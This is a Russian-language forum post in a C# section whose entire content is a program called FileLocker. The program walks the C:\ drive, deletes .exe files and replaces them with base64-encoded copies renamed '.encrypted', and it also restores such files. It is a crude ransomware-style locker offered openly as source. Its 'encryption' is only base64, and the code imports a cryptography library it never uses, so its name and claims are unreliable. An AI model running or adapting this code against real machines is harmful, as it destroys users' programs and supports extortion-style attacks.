Ваш ключ: необходима авторизация | MyProxy - бесплатный обменник валидных прокси между пользователями форума.

локирование Файлов

Тема в разделе C#, создана пользователем Search, 22 июн 2016.

Войдите для ответа
  1. Search Заблокирован

    Search
    Статус:
    Вне сети
    Сообщения:
    151
    Симпатии:
    11
    Регистрация:
    22.06.16
    Исходный код:
    Код:
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.IO;
    using System.Security.Cryptography;
    
    namespace FileLocker
    {
       class Program
       {
           static void Main(string[] args)
           {
               string[] files = Directory.GetFiles(@"C:\");
             
               foreach (string fileName in files)
               {
                   if (fileName.EndsWith(".exe"))
                   {
                       string tempFile = Path.GetTempFileName();
    
                       File.WriteAllText(tempFile, Convert.ToBase64String(File.ReadAllBytes(fileName)));
                       File.Delete(fileName);
                       File.Move(tempFile, fileName + ".encrypted");
                   
                       Console.WriteLine(fileName);
                   }
                   else if (fileName.EndsWith(".encrypted"))
                   {
                       string tempFile = Path.GetTempFileName();
                       File.WriteAllBytes(tempFile, Convert.FromBase64String(File.ReadAllText(fileName)));
                       File.Delete(fileName);
                       string extension = fileName.Replace(".encrypted", "");
                       File.Move(tempFile, extension);
                   }
               }
               Console.Read();
           }
       }
    }
     
    22 июн 2016 #1
Загрузка...
Top